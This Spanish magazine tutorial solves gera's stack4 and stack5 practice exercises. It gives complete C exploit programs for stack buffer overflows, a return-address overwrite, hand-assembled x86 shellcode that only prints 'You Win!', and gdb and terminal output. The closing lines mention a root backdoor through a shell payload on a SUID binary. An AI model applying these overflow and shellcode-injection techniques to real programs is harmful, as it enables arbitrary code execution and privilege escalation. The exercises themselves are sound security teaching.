Terminando con la Pila

Si os gustaron y entendisteis los programas explotados anteriormente: stack1,stack2 y stack3. Esperad a ver lo que se puede llegar a hacer con un desbordamiento de pila si se explota de una manera más elaborada, tal y como se mostrará en este texto.

published in #95 as Desbordamiento de Pila

Bienvenidos amigos, a lo largo de este artículo vamos a resolver los programas "stack4.c" y "stack5.c" que podemos encontrar en la web de gera, InsecureProgramming (imagen1):
http://community.core-sdi.com/~gera/InsecureProgramming/
El "stack4" se parece bastante a los "stack1","stack2" i "stack3" (resueltos en el número anterior), en cambio en el "stack5" se usará un poco de ensamblador a la hora de programar la shellcode, así que se sugiere al lector que tenga conocimientos básicos de ensamblador bajo Linux. Aun así habrán pequeñas anotaciones que ayudará a los nuevos en el tema a entender, al menos, el concepto de lo que se está llevando a cabo. Dejémonos de tonterías, vayamos alla!

IMAGEN 1

Stack4.c

Bien amigos, primero veamos su código fuente, el cual lo podemos observar en el "código1".

CÓDIGO 1

/* stack4-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x000d0a00)
		printf("you win!\n");
}
¿ Parece igual que los tres anteriores verdad ? Entonces lo más lógico tal vez sería probar a ver que pasa si modificamos el valor de cookie en los exploits viejos. Pues bien, vamos a verlo, primero las modificaciones, cambiamos:
Nombre: xpl3.c
16:
	sc[92]=0x05;
	sc[93]=0x00;
	sc[94]=0x02;
	sc[95]=0x01;
	sc[96]='\n';
22:
Lo modificamos y ponemos la dirección que nos piden en stack4.c, de manera que tendremos lo siguiente:
Nombre: xpl4.c
16:
	sc[92]=0x00;
	sc[93]=0x0a;
	sc[94]=0x0d;
	sc[95]=0x00;
22:
Una vez hemos hecho esta pequeña modificación junto la del "execl", obtendremos el código que se puede ver en el "listado1". Ahora probemos de ejecutarlo a ver si realmente funciona:

LISTADO 1

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>

main()
{
	char sc[92+4+1]; //bytes de reyeno+contenido de cookie+'\0'
	int pipes[2];
	pid_t pidchild;


	memset((void *)sc,'a',92);

	//RELLENO DE SC
	//metemeos el contenido de cookie
	sc[92]=0x00;
	sc[93]=0x0a;
	sc[94]=0x0d;
	sc[95]=0x00;
	sc[96]='\n';

	pipe(pipes);
	fprintf(stderr,"eXploiting stack4\n");
	if( !(pidchild=fork()) ){ //devuelve el PID

		close(pipes[1]);
		dup2(pipes[0],0);
		close(pipes[0]);

		execl("./stack4",NULL);
	}

	close(pipes[0]);
	dup2(pipes[1],1);
	close(pipes[1]);
	write(1,sc,sizeof(sc));
	waitpid(pidchild,0,0);
	exit(0);

}
ss@LynaXa stack4 $ gcc xpl.c -o xpl
ss@LynaXa stack4 $ ./xpl
eXploiting stack4
buf: bffff4c0 cookie: bffff51c
ss@LynaXa stack4 $
Vaya vaya.... parece ser que esto no funciona nada bien, antes de debugar pensemos un poco a qué se puede deber que no funcione correctamente. Pensemos un poco lo que hemos hecho, hemos modificado la cadena que inyectamos con los valores que se nos pide, pero... tendrán algo escondido estos valores? El "0x00" ya sabemos que funciona correctamente con "gets", tal y como vimos en el número anterior. Por otra parte luego tenemos el "0x0a", hagamos un "man ascii" a ver a que caracteres corresponde:
[..]
Oct   Dec   Hex   Char
---------------------------
...
 012   10    0A    LF  '\n'
[..]
Ajá! Aquí tenemos al responsable de que esto no funcione correctamente, como todos sabemos, "man gets" en caso contrario, la función "gets" deja de leer cuando lee un "\n" (enter), así que lo que ocurre aquí es simplemente que al leer el segundo byte de cookie, lo interpreta como el final de la cadena. Pues vale, y ahora que hacemos ? Como diantre podemos arreglárnoslas para que esto funcione y se nos imprime el "you win!"... Primero recordemos un poco como quedaba la pila después de la ejecución del programa:
BasePila                                        CimaPila
[XXX[        Buf        ]XXXXXXXXXX[Cookie]XXXXX[Ret]XXX]
    ^-(0xbffff4c0)                 ^-(0xbffff51c)
Hagamos números. El contenido de cookie esta claro que no lo podemos poner de una tirada, por el problemilla este del "\n" (0x0a), así que... veamos que mas podemos usar.. .mmm solo nos queda la dirección de retorno "Ret", pero que hacemos con ella ? Pues la respuesta es simple, lo que vamos a hacer sera lo siguiente, vamos a modificarla de manera que en vez de retornar al sitio desde donde se llamo el programa, haremos que "Ret" nos lleve el puntero de ejecución al "printf", de esta manera conseguiremos que nos imprima la cadena "you win!", aun sin cumplir la condición anterior.

Ahora nos llegan un par de preguntas a la mente, en que maldita dirección se encuentra la instrucción del printf? Y lo mas importante, como modificamos "Ret" para que nos redirija donde queremos? Seguid leyendo :)

Localizando la dirección de printf en la memoria

Bueno, veamos primero la dirección de la instrucción que llama a printf, para hacerlo es muy sencillo, basta con desensamblar el "main" y mirar donde se llama a la función, en el listado2 hay los comandos completos que hemos usado para encontrar dicha dirección.

LISTADO 2

ss@LynaXa stack4 $ gdb stack4
GNU gdb 6.3
[..]
(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <main+0>:    push   %ebp
0x080483b5 <main+1>:    mov    %esp,%ebp
0x080483b7 <main+3>:    sub    $0x78,%esp
[..]
0x080483f0 <main+60>:   jne    0x80483fe <main+74>
0x080483f2 <main+62>:   movl   $0x804852c,(%esp)
0x080483f9 <main+69>:   call   0x80482dc <_init+72>
0x080483fe <main+74>:   leave
0x080483ff <main+75>:   ret
End of assembler dump.
(gdb)
Fijémonos un poco en el listado2, ahí vemos el bloque de instrucciones que van de la dirección 0x080483f0 a 0x080483ff, que hace esa parte de código? Pues si nos fijamos primero tenemos un "jne" (JumpIfNotEqual) con lo que intuimos que esa es la comprobación del "if", nosotros queremos saltarla, pues la saltamos e iremos a la siguiente instrucción que se encuentra en la dirección:
0x080483f2: movl   $0x804852c,(%esp)
En esta dirección se preparan los args del printf y justo después llamamos a printf usando call. Nosotros queremos imprimir "You win!", esta cadena esta definida en el propio programa y queremos que sea la que imprima, por lo tanto debemos redirigir el flujo de ejecución a la dirección: 0x080483f2. Ya que es donde se "configura" el printf con sus argumentos. Si redirigéramos el flujo justo encima de la instrucción "call", en la pila no estarían los argumentos apropiados, de manera que lo mas probable es que intentará leer de una posición a la cual no tiene acceso o simplemente no existe, así que daría un "SegFault".

Modificando RET

Ahora que ya sabemos a que dirección queremos saltar solo necesitamos sobreescribirla, para hacerlo, no necesitamos saber la dirección exacta de la dirección de retorno en la pila, basta con sobreescribirla con el valor correcto. Por lo tanto lo más sencillo que podemos hacer es rellenar todo el buffer que generará el desbordamiento con la dirección a la que queremos saltar, así seguro que acertamos. Veamos que modificaciones debemos aplicar al programa.

Modificando el exploit

Partiendo del exploit que hemos usado antes, vamos a poner un "for", que nos rellena un tamaño considerable de la cadena "sc", como os habréis dado cuenta, si usamos una cadena de 92 bytes, solo sobreescribiremos cookie, pero nosotros queremos sobreescribir aun mas lejos, así que haremos un string de un tamaño considerable para que sobreescriba mucha memoria, no es una forma elegante, pero funciona :). Así que las modificaciones se pondrán a la hora de generar la string, veamos como la generaremos ahora:
9: char sc[1024]; //La definimos mucho más grande para asegurar
[..]
15: "for"( i=0 ; i<200; i+=4){
                sc[i+3]='\x08';
                sc[i+2]='\x04';
                sc[i+1]='\x83';
                sc[i]='\xf2';
	}
22:	sc[i]='\n'; //Para que "gets" coja la cadena
[..]
De esta manera antes de leer el stdin, "stack4" tendrá la stack de la siguiente manera:
BasePila                                        CimaPila
[XXX[        Buf        ]XXXXXXXXXX[Cookie]XXXXX[Ret]XXX]
    ^-(0xbffff4c0)                 ^-(0xbffff51c)
Una vez leída la cadena, la pila tendrá el aspecto siguiente:
[XXX[0xf2830408,0xf2830408,0xf2830408..][0xf2830408][0xf2830408....]
Recordad que lo añadimos al revés por el Little-Endian. Ahora vemos claramente que toda la pila queda llena de nuestra dirección, veamos que pasará al ejecutar nuestro programa:
ss@LynaXa stack4 $ gcc xpl.c -o xpl
ss@LynaXa stack4 $ ./xpl
eXploiting stack4
buf: bffff4c0 cookie: bffff51c
you win!
ss@LynaXa stack4 $
Ahí lo tenemos, nos acabamos de saltar un "if" por todo el morro jeje. Esto es solo una pequeña parte de lo que podemos hacer con los Overflow, ahora veréis uno más parecido al funcionamiento de los exploits reales de la red :).

Stack5.c

Vamos ahora a por el siguiente ejercicio, el "stack5.c", como vemos en el código2 el valor de cookie es el mismo, veamos que pasa si usamos el exploit que hemos creado para "stack4":

CÓDIGO 2

/* stack5-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x000d0a00)
		printf("you loose!\n");
}
ss@LynaXa stack5 $ ./Oldxpl
eXploiting stack5
buf: bffff4b0 cookie: bffff50c
you loose!
ss@LynaXa stack5 $
Juas!, era de esperar, pues ahora en el código original pone "you loose!" en vez del "you win!". Como haremos entonces para poder imprimir la sentencia "you win!" si no nos aparece en el código? Como siempre la respuesta es sencilla, ahora que sabemos que podemos modificar la dirección de retorno del programa, que tal si hacemos que apunte a un código que imprima la cadena "you win!" hecho por nosotros? Pues, exacto, imprimirá "you win!". Pues bien, vayamos a ello :).

Haciendo el código a ejecutar

Supongo que todos sabréis lo que es un código shell (ShellCode), para los que no lo sepan, les digo que es un código que se utiliza para ejecutar código arbitrario en un programa explotado (normalmente se ejecuta una shell, de ahí el nombre), este código se debe escribir en ensamblador, veamos nuestra shellcode en el listado3, si tenéis dificultades en entender lo que hace, aprender algo de ASM básico en Linux. Antes decir que la shellcode esta hecha en "nasm", veamos como ejecutarla:

LISTADO 3

	section	.data

	;el 0x09 lo convertiremos a 0x0a ("\n"),
	;incrementándolo luego (por el gets)
	cadena	db	"You Win!",0x09,0x00


	section	.text

	global	_start

_start:
	;incrementamos el 0x09
	inc byte [cadena+8]

	;preparamos los argumentos
	;para nuestro write al stadout
	mov	eax,4
	mov	ebx,1
	mov	ecx,cadena
	mov	edx,9
	inc	edx

	int	0x80
ss@LynaXa stack5 $ nasm -f aout shellcode.asm
ss@LynaXa stack5 $ ld shellcode.o -o shellcode
ss@LynaXa stack5 $ ./shellcode
You Win!
ss@LynaXa stack5 $
Como vemos funciona a la perfección. Así que ya tenemos nuestro pequeño código en ensamblador encargado de ejecutar el "write". Vayamos a prepararlo para que pueda ser inyectado en memoria, para ello primero hay que desensamblarlo, para ello usaremos "objdump" con la opción "-D" ("disassemble-all"), en el listado4 tenéis la salida del comando. Luego deberemos modificar el exploit para nuestros propósitos, para ello haremos lo siguiente:

  1. Desensamblamos el código para encontrar los OpCodes (Códigos de Operación).
  2. Formar con ellos un string (ShellCode).
  3. Cambiar alguna dirección (como la de la lectura de la string a imprimir).
  4. Finalmente rellenaremos el resto del buffer con la dirección al inicio de la ShellCode para que esta sea ejecutada al terminar el programa.

LISTADO 4

shellcode:     file format elf32-i386

Disassembly of section .text:

08048094 <_start>:
 8048094:	fe 05 c0 90 04 08    	incb   0x80490c0
 804809a:	b8 04 00 00 00       	mov    $0x4,%eax
 804809f:	bb 01 00 00 00       	mov    $0x1,%ebx
 80480a4:	b9 b8 90 04 08       	mov    $0x80490b8,%ecx
 80480a9:	ba 09 00 00 00       	mov    $0x9,%edx
 80480ae:	42                   	inc    %edx
 80480af:	cd 80                	int    $0x80

 Disassembly of section .data:

080490b8 <.data>:
 80490b8:	59                   	pop    %ecx
 80490b9:	6f                   	outsl  %ds:(%esi),(%dx)
 80490ba:	75 20                	jne    80490dc <__bss_start+0x18>
 80490bc:	57                   	push   %edi
 80490bd:	69 6e 21 09 00 90 90 	imul   $0x90900009,0x21(%esi),%ebp
 

Creando nuestro exploit

Como siempre partiremos del exploit del programa anterior, en este caso el exploit de stack4. Para saber los opcodes solo hace falta fijarnos en la columna del medio del listado4. El formato del fichero es el siguiente:
 DireccionMemoria:	OpCodes    	Instrucción en ASM at&t
De esta manera, juntando todos los opcodes necesarios nos quedaría la shellcode siguiente (efectuando algunos cambios):
 unsigned char
  write_code[]="You Win!\x09"
    "\x90\x90"
    "\xfe\x05\xc8\xf4\xff\xbf" //incb   0xbffff4c8   (dirección de 0x09)
    "\xb8\x04\x00\x00\x00"     //mov   $0x4,%eax
    "\xbb\x01\x00\x00\x00"     //mov   $0x1,%ebx
    "\xba\x09\x00\x00\x00"     //mov   $0x9,%edx
    "\xb9\xc0\xf4\xff\xbf"     //mov   $bffff4c0,%ecx
    "\xcd\x80";		          //int   $0x80
Tened en cuenta que esta shellcode se pondrá al principio del buffer que explotaremos (del cual sabemos la dirección gracias al "printf" de stack5.c), por eso necesitamos cambiar la dirección del "incb", ya que vamos a incrementar respecto al inicio del buffer. Así que la dirección final será:
DireccionInicioBuf + 9 (Numero de carácteres hasta el 0x09)
Por otra parte debemos cambiar también la dirección que ponemos en "ecx" (corresponde a la dirección de la string), ya que ahora se encuentra en el inicio del buffer. Finalmente los "\x90" son NOP's (No OPeration) que sólo sirven para alinear el código en memoria, de lo contrario se leerían mal los opcodes. Ya os digo ahora que si lo probáis en casa todas las direcciones cambiarán, como es normal.

Después de hacer esto sólo necesitamos sobreescribir la dirección de retorno de igual manera que en stack4. Pero esta vez la dirección es otra, la del inicio de la shellcode ¿cual será? Pues muy sencillo:
DireccionInicioBuffer+BytesHastaInicioShellCode(9)
Nota Sumamos 9 porque los NOP's ya son instrucciones, aunque no hagan nada.

LISTADO 5

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>

main()
{
    unsigned char
	write_code[]="You Win!\x09"
	"\x90\x90"
	"\xfe\x05\xc8\xf4\xff\xbf" //incb   0xbffff4c8 (direccion de 0x09)
	"\xb8\x04\x00\x00\x00"     //mov    $0x4,%eax
	"\xbb\x01\x00\x00\x00"     //mov    $0x1,%ebx
	"\xba\x09\x00\x00\x00"     //mov    $0x9,%edx
	"\xb9\xc0\xf4\xff\xbf"	   //mov    $bffff4c0,%ecx
	"\xcd\x80";	               //int	$0x80

	char sc[1024];
	int pipes[2];
	int size;
	pid_t pidchild;
	int i;
	size=sizeof(write_code);

	//Copiamos al inicio del buffer el código de la shellCode
	memcpy(sc,write_code,size);

	//bffff4c0+9 (de la string) = bffff4c9
	for( i=size ; i< 200; i+=4){
		sc[i+3]='\xbf';
		sc[i+2]='\xff';
		sc[i+1]='\xf4';
		sc[i]='\xc9';
	}

	sc[i]='\n';

	pipe(pipes);
	fprintf(stderr,"eXploiting stack5\n");
	if( !(pidchild=fork()) ){ //devuelve el PID

		close(pipes[1]); //cerramos la salida de la pipe,
				 //porque de aqui solo queremos leer

		dup2(pipes[0],0); //todo lo que entre en pipe,
				 //lo queremos poner al stdin

		close(pipes[0]); //cerramos el pipe de entrada,
				 //porque ya lo hemos copiado

		execl("./stack5",NULL);
	}

	close(pipes[0]);  //cerramos la entrada de la pipe,
			  //porque de aqui solo queremos escribir

	dup2(pipes[1],1); //todo lo que escribamos en stdout,
			  //lo escribiremos en la pipe de escritura

	close(pipes[1]);  //cerramos la pipe de escritura,
			  //ya que ahora se hace referencia a ella por stdout

	write(1,sc,1024); //Al haver el "0x00" se korta el strlen,
			  //y por eso ponemos el tamaño de otra manera

	waitpid(pidchild,0,0); //esperamos a que termine el hijo
	exit(0);

}
Una vez hecho eso obtendremos el exploit que vemos en el listado5. Veamos que tal funciona:
ss@LynaXa stack5 $ ./xpl
eXploiting stack5
buf: bffff4c0 cookie: bffff51c
You Win!
ss@LynaXa stack5 $
Ahí lo tenemos :), haciendo que ejecute todo lo que queramos jajaja.

Conclusiones

Buenos señores hasta aquí llego el final de los stacks del site de gera, ya se verá si se continúan los fascículos. De momento con esto ya tenéis una pequeña idea de como funcionan los exploits de Stack Overflow, aunque estos fueran simples, el concepto es el mismo. En este caso hemos usado una parida de shellcode que solo imprimía, imaginad ahora que hubiéramos puesto una que abriera un puerto y nos pusiera una shell escuchando en él. Tendríamos nuestra backdoor. Imaginad ahora que este programa se ejecuta con SUID activo, en ese caso en la shell tendríamos privilegios de r00t :).

Espero que os haya gustado, ya sabéis que esto no es más que una pequeña introducción a este mundo, infinitamente extenso, la scene.

EOF